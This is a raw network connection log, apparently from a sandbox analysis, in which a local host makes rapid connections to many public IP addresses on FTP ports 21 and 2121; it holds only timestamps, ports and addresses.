Aug 23, 2023 09:15:42.330717087 CEST	2121	51090	181.19.123.115	192.168.2.3
Aug 23, 2023 09:15:42.332321882 CEST	51119	21	192.168.2.3	107.146.236.187
Aug 23, 2023 09:15:42.364027977 CEST	2121	51109	43.153.118.217	192.168.2.3
Aug 23, 2023 09:15:42.365622044 CEST	21	51110	43.153.118.217	192.168.2.3
Aug 23, 2023 09:15:42.376765013 CEST	51058	21	192.168.2.3	24.160.155.215
Aug 23, 2023 09:15:42.376765013 CEST	51059	21	192.168.2.3	24.19.64.79
Aug 23, 2023 09:15:42.377134085 CEST	51061	21	192.168.2.3	179.253.58.63
Aug 23, 2023 09:15:42.392368078 CEST	51060	2121	192.168.2.3	24.19.64.79
Aug 23, 2023 09:15:42.392385960 CEST	51057	2121	192.168.2.3	24.160.155.215
Aug 23, 2023 09:15:42.392388105 CEST	51055	21	192.168.2.3	41.83.113.140
Aug 23, 2023 09:15:42.454942942 CEST	51062	2121	192.168.2.3	179.253.58.63
Aug 23, 2023 09:15:42.501866102 CEST	51063	21	192.168.2.3	82.131.234.54
Aug 23, 2023 09:15:42.506422997 CEST	21	50998	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:42.506544113 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:42.511534929 CEST	21	51103	115.13.82.26	192.168.2.3
Aug 23, 2023 09:15:42.513994932 CEST	21	51099	175.247.243.139	192.168.2.3
Aug 23, 2023 09:15:42.514822960 CEST	2121	51101	115.13.82.26	192.168.2.3
Aug 23, 2023 09:15:42.517654896 CEST	2121	51100	175.247.243.139	192.168.2.3
Aug 23, 2023 09:15:42.518119097 CEST	51064	2121	192.168.2.3	82.131.234.54
Aug 23, 2023 09:15:42.518121958 CEST	51115	21	192.168.2.3	69.164.218.40
Aug 23, 2023 09:15:42.619112015 CEST	21	51115	69.164.218.40	192.168.2.3
Aug 23, 2023 09:15:42.627759933 CEST	51120	2121	192.168.2.3	107.146.236.187
Aug 23, 2023 09:15:42.627985001 CEST	51121	21	192.168.2.3	154.86.36.170
Aug 23, 2023 09:15:42.642430067 CEST	51116	2121	192.168.2.3	69.164.218.40
Aug 23, 2023 09:15:42.642436981 CEST	51065	21	192.168.2.3	94.226.216.220
Aug 23, 2023 09:15:42.674845934 CEST	51066	2121	192.168.2.3	94.226.216.220
Aug 23, 2023 09:15:42.705135107 CEST	51068	2121	192.168.2.3	14.34.85.125
Aug 23, 2023 09:15:42.722501040 CEST	51067	21	192.168.2.3	14.34.85.125
Aug 23, 2023 09:15:42.743673086 CEST	2121	51116	69.164.218.40	192.168.2.3
Aug 23, 2023 09:15:42.816005945 CEST	51069	21	192.168.2.3	82.10.86.38
Aug 23, 2023 09:15:42.845586061 CEST	51070	2121	192.168.2.3	82.10.86.38
Aug 23, 2023 09:15:42.845597982 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:42.876780987 CEST	51109	2121	192.168.2.3	43.153.118.217
Aug 23, 2023 09:15:42.876974106 CEST	51110	21	192.168.2.3	43.153.118.217
Aug 23, 2023 09:15:42.970555067 CEST	51073	21	192.168.2.3	106.105.156.208
Aug 23, 2023 09:15:42.970561981 CEST	51074	2121	192.168.2.3	106.105.156.208
Aug 23, 2023 09:15:42.989491940 CEST	51122	2121	192.168.2.3	154.86.36.170
Aug 23, 2023 09:15:42.989912033 CEST	51123	21	192.168.2.3	69.53.21.179
Aug 23, 2023 09:15:42.989912987 CEST	51124	21	192.168.2.3	76.91.126.84
Aug 23, 2023 09:15:42.989919901 CEST	51125	2121	192.168.2.3	69.53.21.179
Aug 23, 2023 09:15:43.005857944 CEST	51126	2121	192.168.2.3	76.91.126.84
Aug 23, 2023 09:15:43.005929947 CEST	51127	21	192.168.2.3	220.123.194.27
Aug 23, 2023 09:15:43.005950928 CEST	51128	2121	192.168.2.3	220.123.194.27
Aug 23, 2023 09:15:43.006030083 CEST	51129	21	192.168.2.3	68.65.155.57
Aug 23, 2023 09:15:43.006108046 CEST	51131	21	192.168.2.3	79.27.233.136
Aug 23, 2023 09:15:43.006153107 CEST	51130	2121	192.168.2.3	68.65.155.57
Aug 23, 2023 09:15:43.006201029 CEST	51132	2121	192.168.2.3	79.27.233.136
Aug 23, 2023 09:15:43.006225109 CEST	51133	21	192.168.2.3	115.0.38.196
Aug 23, 2023 09:15:43.006303072 CEST	51134	2121	192.168.2.3	115.0.38.196
Aug 23, 2023 09:15:43.017416000 CEST	51099	21	192.168.2.3	175.247.243.139
Aug 23, 2023 09:15:43.017427921 CEST	51101	2121	192.168.2.3	115.13.82.26
Aug 23, 2023 09:15:43.017432928 CEST	51103	21	192.168.2.3	115.13.82.26
Aug 23, 2023 09:15:43.033063889 CEST	51100	2121	192.168.2.3	175.247.243.139
Aug 23, 2023 09:15:43.052423000 CEST	2121	51109	43.153.118.217	192.168.2.3
Aug 23, 2023 09:15:43.053160906 CEST	51135	21	192.168.2.3	54.82.56.45
Aug 23, 2023 09:15:43.054456949 CEST	21	51110	43.153.118.217	192.168.2.3
Aug 23, 2023 09:15:43.055300951 CEST	51136	2121	192.168.2.3	54.82.56.45
Aug 23, 2023 09:15:43.064348936 CEST	51075	21	192.168.2.3	147.158.196.49
Aug 23, 2023 09:15:43.080013037 CEST	51077	21	192.168.2.3	79.50.24.246
Aug 23, 2023 09:15:43.126815081 CEST	51115	21	192.168.2.3	69.164.218.40
Aug 23, 2023 09:15:43.158056974 CEST	51078	2121	192.168.2.3	79.50.24.246
Aug 23, 2023 09:15:43.158111095 CEST	51079	21	192.168.2.3	70.176.102.118
Aug 23, 2023 09:15:43.159028053 CEST	51137	21	192.168.2.3	223.233.95.254
Aug 23, 2023 09:15:43.227953911 CEST	21	51115	69.164.218.40	192.168.2.3
Aug 23, 2023 09:15:43.228811026 CEST	51138	2121	192.168.2.3	223.233.95.254
Aug 23, 2023 09:15:43.246196985 CEST	51116	2121	192.168.2.3	69.164.218.40
Aug 23, 2023 09:15:43.251808882 CEST	51080	2121	192.168.2.3	70.176.102.118
Aug 23, 2023 09:15:43.261970043 CEST	2121	51134	115.0.38.196	192.168.2.3
Aug 23, 2023 09:15:43.261987925 CEST	21	51133	115.0.38.196	192.168.2.3
Aug 23, 2023 09:15:43.277822971 CEST	21	51103	115.13.82.26	192.168.2.3
Aug 23, 2023 09:15:43.278934956 CEST	51139	21	192.168.2.3	95.180.180.189
Aug 23, 2023 09:15:43.280316114 CEST	21	51099	175.247.243.139	192.168.2.3
Aug 23, 2023 09:15:43.281006098 CEST	2121	51101	115.13.82.26	192.168.2.3
Aug 23, 2023 09:15:43.281357050 CEST	51140	2121	192.168.2.3	95.180.180.189
Aug 23, 2023 09:15:43.282181978 CEST	51141	21	192.168.2.3	58.232.112.126
Aug 23, 2023 09:15:43.283184052 CEST	51081	21	192.168.2.3	175.136.29.219
Aug 23, 2023 09:15:43.299506903 CEST	2121	51100	175.247.243.139	192.168.2.3
Aug 23, 2023 09:15:43.301975012 CEST	51142	2121	192.168.2.3	58.232.112.126
Aug 23, 2023 09:15:43.347354889 CEST	2121	51116	69.164.218.40	192.168.2.3
Aug 23, 2023 09:15:43.348440886 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:43.359009027 CEST	21	51139	95.180.180.189	192.168.2.3
Aug 23, 2023 09:15:43.361314058 CEST	2121	51140	95.180.180.189	192.168.2.3
Aug 23, 2023 09:15:43.377733946 CEST	51144	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:43.409322977 CEST	51145	21	192.168.2.3	80.31.45.22
Aug 23, 2023 09:15:43.486197948 CEST	51084	2121	192.168.2.3	39.122.35.129
Aug 23, 2023 09:15:43.486238956 CEST	51082	2121	192.168.2.3	175.136.29.219
Aug 23, 2023 09:15:43.501889944 CEST	51083	21	192.168.2.3	39.122.35.129
Aug 23, 2023 09:15:43.519790888 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:43.519870043 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:43.548716068 CEST	51087	21	192.168.2.3	76.143.189.41
Aug 23, 2023 09:15:43.591304064 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:43.591581106 CEST	51144	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:43.595686913 CEST	51088	2121	192.168.2.3	76.143.189.41
Aug 23, 2023 09:15:43.628415108 CEST	51146	2121	192.168.2.3	80.31.45.22
Aug 23, 2023 09:15:43.705100060 CEST	51091	21	192.168.2.3	99.236.103.246
Aug 23, 2023 09:15:43.707757950 CEST	51147	21	192.168.2.3	67.130.168.117
Aug 23, 2023 09:15:43.763405085 CEST	51134	2121	192.168.2.3	115.0.38.196
Aug 23, 2023 09:15:43.763506889 CEST	51133	21	192.168.2.3	115.0.38.196
Aug 23, 2023 09:15:43.808974981 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:43.809565067 CEST	51144	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:43.861296892 CEST	51092	2121	192.168.2.3	99.236.103.246
Aug 23, 2023 09:15:43.861315966 CEST	51139	21	192.168.2.3	95.180.180.189
Aug 23, 2023 09:15:43.861433029 CEST	51140	2121	192.168.2.3	95.180.180.189
Aug 23, 2023 09:15:43.883713961 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:43.884232044 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:43.909048080 CEST	51148	2121	192.168.2.3	67.130.168.117
Aug 23, 2023 09:15:43.919289112 CEST	21	51139	95.180.180.189	192.168.2.3
Aug 23, 2023 09:15:43.921963930 CEST	2121	51140	95.180.180.189	192.168.2.3
Aug 23, 2023 09:15:43.955018997 CEST	51093	2121	192.168.2.3	76.106.177.89
Aug 23, 2023 09:15:43.972198963 CEST	51094	21	192.168.2.3	76.106.177.89
Aug 23, 2023 09:15:43.986838102 CEST	51149	21	192.168.2.3	180.231.253.193
Aug 23, 2023 09:15:44.002599955 CEST	51150	2121	192.168.2.3	180.231.253.193
Aug 23, 2023 09:15:44.019799948 CEST	2121	51134	115.0.38.196	192.168.2.3
Aug 23, 2023 09:15:44.019892931 CEST	21	51133	115.0.38.196	192.168.2.3
Aug 23, 2023 09:15:44.023752928 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:44.055773973 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.059592962 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.060420990 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.235570908 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.236599922 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.314549923 CEST	51095	21	192.168.2.3	79.56.69.141
Aug 23, 2023 09:15:44.392667055 CEST	51096	2121	192.168.2.3	79.56.69.141
Aug 23, 2023 09:15:44.394784927 CEST	51152	2121	192.168.2.3	85.244.238.60
Aug 23, 2023 09:15:44.394788980 CEST	51151	21	192.168.2.3	85.244.238.60
Aug 23, 2023 09:15:44.394870996 CEST	51153	21	192.168.2.3	92.12.97.98
Aug 23, 2023 09:15:44.394937992 CEST	51155	21	192.168.2.3	125.139.2.163
Aug 23, 2023 09:15:44.394957066 CEST	51154	2121	192.168.2.3	92.12.97.98
Aug 23, 2023 09:15:44.395034075 CEST	51156	2121	192.168.2.3	125.139.2.163
Aug 23, 2023 09:15:44.408339977 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.408394098 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.408590078 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.408590078 CEST	51143	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.409220934 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.423813105 CEST	51139	21	192.168.2.3	95.180.180.189
Aug 23, 2023 09:15:44.423867941 CEST	51097	21	192.168.2.3	99.248.204.222
Aug 23, 2023 09:15:44.424020052 CEST	51140	2121	192.168.2.3	95.180.180.189
Aug 23, 2023 09:15:44.483655930 CEST	21	51139	95.180.180.189	192.168.2.3
Aug 23, 2023 09:15:44.483706951 CEST	2121	51140	95.180.180.189	192.168.2.3
Aug 23, 2023 09:15:44.486332893 CEST	51105	21	192.168.2.3	87.191.223.126
Aug 23, 2023 09:15:44.486349106 CEST	51102	2121	192.168.2.3	87.191.223.126
Aug 23, 2023 09:15:44.486349106 CEST	51108	2121	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:44.486365080 CEST	51104	2121	192.168.2.3	80.212.41.84
Aug 23, 2023 09:15:44.486372948 CEST	51098	2121	192.168.2.3	99.248.204.222
Aug 23, 2023 09:15:44.486372948 CEST	51107	21	192.168.2.3	80.212.41.84
Aug 23, 2023 09:15:44.501996040 CEST	51111	21	192.168.2.3	2.111.153.8
Aug 23, 2023 09:15:44.512506008 CEST	51158	21	192.168.2.3	203.54.188.169
Aug 23, 2023 09:15:44.512609959 CEST	51159	2121	192.168.2.3	203.54.188.169
Aug 23, 2023 09:15:44.512860060 CEST	51160	21	192.168.2.3	81.247.161.9
Aug 23, 2023 09:15:44.518488884 CEST	51162	21	192.168.2.3	172.67.123.240
Aug 23, 2023 09:15:44.518512011 CEST	51161	2121	192.168.2.3	81.247.161.9
Aug 23, 2023 09:15:44.533231020 CEST	51133	21	192.168.2.3	115.0.38.196
Aug 23, 2023 09:15:44.533255100 CEST	51134	2121	192.168.2.3	115.0.38.196
Aug 23, 2023 09:15:44.548938990 CEST	51112	2121	192.168.2.3	2.111.153.8
Aug 23, 2023 09:15:44.580136061 CEST	21	51143	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.580739975 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.582120895 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.611413002 CEST	51113	21	192.168.2.3	31.181.80.193
Aug 23, 2023 09:15:44.646636009 CEST	51163	2121	192.168.2.3	172.67.123.240
Aug 23, 2023 09:15:44.650721073 CEST	2121	51156	125.139.2.163	192.168.2.3
Aug 23, 2023 09:15:44.651343107 CEST	21	51155	125.139.2.163	192.168.2.3
Aug 23, 2023 09:15:44.676203012 CEST	51114	2121	192.168.2.3	31.181.80.193
Aug 23, 2023 09:15:44.721936941 CEST	51165	2121	192.168.2.3	67.195.6.33
Aug 23, 2023 09:15:44.721985102 CEST	51164	21	192.168.2.3	67.195.6.33
Aug 23, 2023 09:15:44.722105026 CEST	51166	21	192.168.2.3	31.96.164.242
Aug 23, 2023 09:15:44.763883114 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.764614105 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.789695978 CEST	21	51133	115.0.38.196	192.168.2.3
Aug 23, 2023 09:15:44.789974928 CEST	2121	51134	115.0.38.196	192.168.2.3
Aug 23, 2023 09:15:44.800554991 CEST	51167	2121	192.168.2.3	31.96.164.242
Aug 23, 2023 09:15:44.800863981 CEST	51168	21	192.168.2.3	60.105.178.232
Aug 23, 2023 09:15:44.815990925 CEST	51169	2121	192.168.2.3	60.105.178.232
Aug 23, 2023 09:15:44.846369982 CEST	51170	21	192.168.2.3	125.181.91.249
Aug 23, 2023 09:15:44.938860893 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.940007925 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:44.940608978 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:44.986996889 CEST	51171	2121	192.168.2.3	125.181.91.249
Aug 23, 2023 09:15:44.987668991 CEST	51172	21	192.168.2.3	98.55.0.121
Aug 23, 2023 09:15:45.025233030 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.036097050 CEST	51144	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:45.048928976 CEST	51117	21	192.168.2.3	58.115.107.34
Aug 23, 2023 09:15:45.066674948 CEST	51173	2121	192.168.2.3	98.55.0.121
Aug 23, 2023 09:15:45.094639063 CEST	21	51168	60.105.178.232	192.168.2.3
Aug 23, 2023 09:15:45.096581936 CEST	51174	21	192.168.2.3	187.204.231.25
Aug 23, 2023 09:15:45.111089945 CEST	2121	51169	60.105.178.232	192.168.2.3
Aug 23, 2023 09:15:45.112845898 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.113929987 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.158257008 CEST	51156	2121	192.168.2.3	125.139.2.163
Aug 23, 2023 09:15:45.158384085 CEST	51155	21	192.168.2.3	125.139.2.163
Aug 23, 2023 09:15:45.159266949 CEST	51175	2121	192.168.2.3	187.204.231.25
Aug 23, 2023 09:15:45.175322056 CEST	51176	21	192.168.2.3	24.58.26.126
Aug 23, 2023 09:15:45.249627113 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.249768019 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.249809980 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.249931097 CEST	51144	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:45.250030041 CEST	51144	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:45.250761032 CEST	51177	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:45.251991034 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:45.252053022 CEST	51118	2121	192.168.2.3	58.115.107.34
Aug 23, 2023 09:15:45.268421888 CEST	51178	2121	192.168.2.3	24.58.26.126
Aug 23, 2023 09:15:45.284070015 CEST	51179	21	192.168.2.3	47.14.117.222
Aug 23, 2023 09:15:45.285775900 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.285928011 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.286004066 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.286103010 CEST	51157	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.286761999 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.345777988 CEST	51119	21	192.168.2.3	107.146.236.187
Aug 23, 2023 09:15:45.413250923 CEST	2121	51156	125.139.2.163	192.168.2.3
Aug 23, 2023 09:15:45.414580107 CEST	21	51155	125.139.2.163	192.168.2.3
Aug 23, 2023 09:15:45.424619913 CEST	51181	2121	192.168.2.3	47.14.117.222
Aug 23, 2023 09:15:45.457156897 CEST	21	51157	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.458185911 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.458266020 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.463541985 CEST	21	51144	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.464288950 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.464521885 CEST	51177	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:45.503427982 CEST	51182	21	192.168.2.3	2.190.95.192
Aug 23, 2023 09:15:45.503477097 CEST	51183	2121	192.168.2.3	2.190.95.192
Aug 23, 2023 09:15:45.503475904 CEST	51184	21	192.168.2.3	83.42.104.15
Aug 23, 2023 09:15:45.566191912 CEST	51185	2121	192.168.2.3	83.42.104.15
Aug 23, 2023 09:15:45.595864058 CEST	51168	21	192.168.2.3	60.105.178.232
Aug 23, 2023 09:15:45.596664906 CEST	51186	21	192.168.2.3	58.234.62.145
Aug 23, 2023 09:15:45.627073050 CEST	51121	21	192.168.2.3	154.86.36.170
Aug 23, 2023 09:15:45.627096891 CEST	51169	2121	192.168.2.3	60.105.178.232
Aug 23, 2023 09:15:45.635406971 CEST	51120	2121	192.168.2.3	107.146.236.187
Aug 23, 2023 09:15:45.643013000 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.644701958 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.686279058 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.699923038 CEST	51177	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:45.721654892 CEST	51187	2121	192.168.2.3	58.234.62.145
Aug 23, 2023 09:15:45.816353083 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.822714090 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.823154926 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:45.863042116 CEST	51188	21	192.168.2.3	97.85.39.44
Aug 23, 2023 09:15:45.878662109 CEST	21	51186	58.234.62.145	192.168.2.3
Aug 23, 2023 09:15:45.893053055 CEST	21	51168	60.105.178.232	192.168.2.3
Aug 23, 2023 09:15:45.914551973 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:45.922563076 CEST	2121	51169	60.105.178.232	192.168.2.3
Aug 23, 2023 09:15:45.923996925 CEST	51156	2121	192.168.2.3	125.139.2.163
Aug 23, 2023 09:15:45.924009085 CEST	51155	21	192.168.2.3	125.139.2.163
Aug 23, 2023 09:15:45.972541094 CEST	51189	2121	192.168.2.3	97.85.39.44
Aug 23, 2023 09:15:45.972568989 CEST	51190	21	192.168.2.3	84.193.12.73
Aug 23, 2023 09:15:45.986500025 CEST	51124	21	192.168.2.3	76.91.126.84
Aug 23, 2023 09:15:45.995574951 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:45.996712923 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.000420094 CEST	2121	51187	58.234.62.145	192.168.2.3
Aug 23, 2023 09:15:46.002132893 CEST	51127	21	192.168.2.3	220.123.194.27
Aug 23, 2023 09:15:46.002132893 CEST	51125	2121	192.168.2.3	69.53.21.179
Aug 23, 2023 09:15:46.002132893 CEST	51122	2121	192.168.2.3	154.86.36.170
Aug 23, 2023 09:15:46.002152920 CEST	51123	21	192.168.2.3	69.53.21.179
Aug 23, 2023 09:15:46.009565115 CEST	21	51190	84.193.12.73	192.168.2.3
Aug 23, 2023 09:15:46.017700911 CEST	51128	2121	192.168.2.3	220.123.194.27
Aug 23, 2023 09:15:46.017700911 CEST	51132	2121	192.168.2.3	79.27.233.136
Aug 23, 2023 09:15:46.017719984 CEST	51130	2121	192.168.2.3	68.65.155.57
Aug 23, 2023 09:15:46.017719984 CEST	51129	21	192.168.2.3	68.65.155.57
Aug 23, 2023 09:15:46.017720938 CEST	51131	21	192.168.2.3	79.27.233.136
Aug 23, 2023 09:15:46.017720938 CEST	51126	2121	192.168.2.3	76.91.126.84
Aug 23, 2023 09:15:46.064757109 CEST	51135	21	192.168.2.3	54.82.56.45
Aug 23, 2023 09:15:46.064768076 CEST	51136	2121	192.168.2.3	54.82.56.45
Aug 23, 2023 09:15:46.148405075 CEST	2121	51130	68.65.155.57	192.168.2.3
Aug 23, 2023 09:15:46.151724100 CEST	21	51129	68.65.155.57	192.168.2.3
Aug 23, 2023 09:15:46.169715881 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.169770002 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.170134068 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.170396090 CEST	51180	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.170646906 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.175390959 CEST	51137	21	192.168.2.3	223.233.95.254
Aug 23, 2023 09:15:46.179908991 CEST	2121	51156	125.139.2.163	192.168.2.3
Aug 23, 2023 09:15:46.180943966 CEST	21	51155	125.139.2.163	192.168.2.3
Aug 23, 2023 09:15:46.182308912 CEST	51192	2121	192.168.2.3	84.193.12.73
Aug 23, 2023 09:15:46.182557106 CEST	51193	21	192.168.2.3	80.162.213.69
Aug 23, 2023 09:15:46.216881990 CEST	2121	51192	84.193.12.73	192.168.2.3
Aug 23, 2023 09:15:46.239237070 CEST	51138	2121	192.168.2.3	223.233.95.254
Aug 23, 2023 09:15:46.267765999 CEST	51141	21	192.168.2.3	58.232.112.126
Aug 23, 2023 09:15:46.314594984 CEST	51142	2121	192.168.2.3	58.232.112.126
Aug 23, 2023 09:15:46.315433025 CEST	51194	2121	192.168.2.3	80.162.213.69
Aug 23, 2023 09:15:46.342231035 CEST	21	51180	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.342304945 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.344715118 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.393145084 CEST	51186	21	192.168.2.3	58.234.62.145
Aug 23, 2023 09:15:46.408435106 CEST	51168	21	192.168.2.3	60.105.178.232
Aug 23, 2023 09:15:46.409712076 CEST	51195	21	192.168.2.3	179.62.171.153
Aug 23, 2023 09:15:46.409713984 CEST	51196	2121	192.168.2.3	179.62.171.153
Aug 23, 2023 09:15:46.424058914 CEST	51169	2121	192.168.2.3	60.105.178.232
Aug 23, 2023 09:15:46.424088955 CEST	51145	21	192.168.2.3	80.31.45.22
Aug 23, 2023 09:15:46.487531900 CEST	51197	21	192.168.2.3	184.60.202.203
Aug 23, 2023 09:15:46.489963055 CEST	51198	2121	192.168.2.3	184.60.202.203
Aug 23, 2023 09:15:46.490221977 CEST	51199	21	192.168.2.3	73.63.151.113
Aug 23, 2023 09:15:46.490221024 CEST	51200	2121	192.168.2.3	73.63.151.113
Aug 23, 2023 09:15:46.490340948 CEST	51201	21	192.168.2.3	185.242.100.68
Aug 23, 2023 09:15:46.502731085 CEST	51187	2121	192.168.2.3	58.234.62.145
Aug 23, 2023 09:15:46.502830029 CEST	51202	2121	192.168.2.3	185.242.100.68
Aug 23, 2023 09:15:46.518353939 CEST	51203	21	192.168.2.3	23.202.210.241
Aug 23, 2023 09:15:46.518445969 CEST	51190	21	192.168.2.3	84.193.12.73
Aug 23, 2023 09:15:46.552962065 CEST	21	51190	84.193.12.73	192.168.2.3
Aug 23, 2023 09:15:46.566808939 CEST	51204	2121	192.168.2.3	23.202.210.241
Aug 23, 2023 09:15:46.587672949 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.588516951 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.643532991 CEST	51146	2121	192.168.2.3	80.31.45.22
Aug 23, 2023 09:15:46.658421993 CEST	51129	21	192.168.2.3	68.65.155.57
Aug 23, 2023 09:15:46.658495903 CEST	51130	2121	192.168.2.3	68.65.155.57
Aug 23, 2023 09:15:46.673326969 CEST	21	51186	58.234.62.145	192.168.2.3
Aug 23, 2023 09:15:46.683001041 CEST	51205	21	192.168.2.3	124.48.26.200
Aug 23, 2023 09:15:46.683007002 CEST	51206	2121	192.168.2.3	124.48.26.200
Aug 23, 2023 09:15:46.702372074 CEST	21	51168	60.105.178.232	192.168.2.3
Aug 23, 2023 09:15:46.714040041 CEST	21	51195	179.62.171.153	192.168.2.3
Aug 23, 2023 09:15:46.718578100 CEST	2121	51196	179.62.171.153	192.168.2.3
Aug 23, 2023 09:15:46.719577074 CEST	2121	51169	60.105.178.232	192.168.2.3
Aug 23, 2023 09:15:46.720938921 CEST	51192	2121	192.168.2.3	84.193.12.73
Aug 23, 2023 09:15:46.720943928 CEST	51147	21	192.168.2.3	67.130.168.117
Aug 23, 2023 09:15:46.753122091 CEST	51207	21	192.168.2.3	98.36.45.180
Aug 23, 2023 09:15:46.753122091 CEST	51208	2121	192.168.2.3	98.36.45.180
Aug 23, 2023 09:15:46.756853104 CEST	2121	51192	84.193.12.73	192.168.2.3
Aug 23, 2023 09:15:46.759968042 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.762918949 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.763458967 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.783479929 CEST	2121	51187	58.234.62.145	192.168.2.3
Aug 23, 2023 09:15:46.791563034 CEST	2121	51130	68.65.155.57	192.168.2.3
Aug 23, 2023 09:15:46.793207884 CEST	51209	21	192.168.2.3	186.211.90.180
Aug 23, 2023 09:15:46.908670902 CEST	51148	2121	192.168.2.3	67.130.168.117
Aug 23, 2023 09:15:46.914475918 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:46.915657997 CEST	51177	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:46.924443960 CEST	2121	51206	124.48.26.200	192.168.2.3
Aug 23, 2023 09:15:46.936158895 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:46.959697008 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:46.986582041 CEST	51149	21	192.168.2.3	180.231.253.193
Aug 23, 2023 09:15:47.002156973 CEST	51150	2121	192.168.2.3	180.231.253.193
Aug 23, 2023 09:15:47.050462961 CEST	51210	2121	192.168.2.3	186.211.90.180
Aug 23, 2023 09:15:47.064670086 CEST	51190	21	192.168.2.3	84.193.12.73
Aug 23, 2023 09:15:47.098813057 CEST	21	51190	84.193.12.73	192.168.2.3
Aug 23, 2023 09:15:47.108293056 CEST	51211	21	192.168.2.3	142.250.234.80
